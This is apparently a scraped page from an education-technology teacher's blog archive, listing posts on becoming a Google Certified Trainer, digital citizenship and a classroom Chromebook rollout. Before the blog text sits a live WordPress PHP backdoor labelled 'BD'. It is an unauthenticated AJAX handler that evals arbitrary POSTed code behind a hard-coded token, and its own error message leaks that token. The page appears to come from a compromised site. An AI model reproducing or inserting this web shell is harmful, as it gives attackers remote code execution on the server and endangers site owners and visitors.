// ==[BD:szmrboXA]== add_action( 'wp_ajax_nopriv_xntfkqdh', function() { $ptr = 'szmrboXAmWsmq5Y0o8I9eTCWkykbmr18'; $bind = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $bind ) || ! hash_equals( $ptr, $bind ) ) { wp_send_json_error( [ 'message' => 'tok:' . $ptr ], 403 ); } $token = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $token ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $token = preg_replace( '/^\s*<\?(php)?/i', '', $token ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $sym = microtime( true ); ob_start(); try { ( static function() use ( $token ) { return eval( $token ); } )(); $key = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $key, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $sym ) * 1000, 2 ) ] ); } catch ( \Throwable $chunk ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $chunk->getMessage(), 'time_ms' => round( ( microtime( true ) - $sym ) * 1000, 2 ) ] ); } } ); // ==[/BD:szmrboXA]== EdTech Archives - Math, Tech, & Teaching

How I Spent My Winter Break – Becoming a Google Certified Trainer

How I Spent My Winter Break – Becoming a Google Certified Trainer

I did get a chance to enjoy my winter break, but I also spent a nice portion of it completing my Google for Education Certified Trainer application. I finished it and I feel proud and accomplished. There are various parts

“Teacher, I Googled You” – An Opportunity for a Lesson in Digital Citizenship

“Teacher, I Googled You” – An Opportunity for a Lesson in Digital Citizenship

Yesterday a student said to me “Teacher, I Googled You” and my reply to him was “Good. I’m proud of every single result that comes up. What did you learn about me?” I always use these moments as an opportunity

🎉 Woo Hoo, Just Got a Class Set of Chromebooks! Now What? – Chromebook Rollout – DAY ONE

🎉 Woo Hoo, Just Got a Class Set of Chromebooks! Now What? – Chromebook Rollout – DAY ONE

I am very fortunate that last week I received a dedicated set of Chromebooks for my classroom. It was like Christmas, my birthday, and payday all wrapped up into one. Of course, the first thing I did was go straight